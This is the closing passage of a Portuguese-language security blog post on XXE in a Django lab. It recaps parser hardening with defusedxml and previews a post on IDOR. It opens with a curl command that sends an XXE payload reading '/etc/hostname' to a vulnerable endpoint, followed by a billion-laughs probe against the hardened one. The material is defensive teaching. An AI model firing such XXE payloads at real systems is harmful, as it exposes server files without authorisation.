curl -s -X POST .../xxe/vulnerable/ -H "Content-Type: application/xml" \
--data-binary '<!DOCTYPE order [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]><order><orderId>&xxe;</orderId></order>'
# Sonda de bomba — a requisição deve falhar rápido (400/rejeição), não travar ou disparar a memória.
time curl -s -o /dev/null -w "%{http_code}\n" -X POST .../xxe/secure/ \
-H "Content-Type: application/xml" --data-binary @billion-laughs.xml # 400, rápido
O Post 5 fecha a Série I. Ao longo de cinco posts a lição nunca mudou — um interpretador não consegue distinguir sua intenção da entrada de um atacante a menos que você mantenha dado e código em canais separados — mas os interpretadores mudaram: o motor SQL, o navegador, o motor de templates, o shell do SO, e agora o parser XML. O hábito que estou levando adiante: tratar um etree.fromstring em dados de requisição da mesma forma que cursor.execute(raw_sql) — rotear toda análise de XML não confiável através do defusedxml e limitar o tamanho da entrada.
A Série II abre a próxima frente: Broken Access Control (Controle de Acesso Quebrado). O Post 6 começa com IDOR — Insecure Direct Object Reference (Referência Direta Insegura a Objeto) — em que a aplicação autentica quem você é perfeitamente mas nunca verifica o que você tem permissão de tocar, e um único ID incrementado em uma URL entrega a um usuário os dados de outro. A injeção era sobre dados cruzando para código; o controle de acesso é sobre identidade cruzando uma fronteira que ela nunca foi autorizada a cruzar.
Leitura Complementar
- django-security-lab — Laboratório de XXE (webhook lxml/defusedxml executável, scans capturados e a regra customizada do Semgrep)
- Python Docs — XML vulnerabilities and the defusedxml recommendation
- defusedxml — XML bomb protection for Python stdlib modules
- Django Docs — Security in Django
- PortSwigger Web Security Academy — XML external entity (XXE) injection
- OWASP — XML External Entity (XXE) Processing
- OWASP — XXE Prevention Cheat Sheet
- MITRE ATT&CK — T1190 Exploit Public-Facing Application
- OWASP A05:2021 — Security Misconfiguration (includes XXE)
- Web Security for Developers: Real Threats, Practical Defense (Malcolm McDonald, No Starch Press) — Capítulo 15: XML Vulnerabilities
Next in this series → Post 6: Broken Access Control e IDOR: Quando Estar Logado Não É o Mesmo que Ter Permissão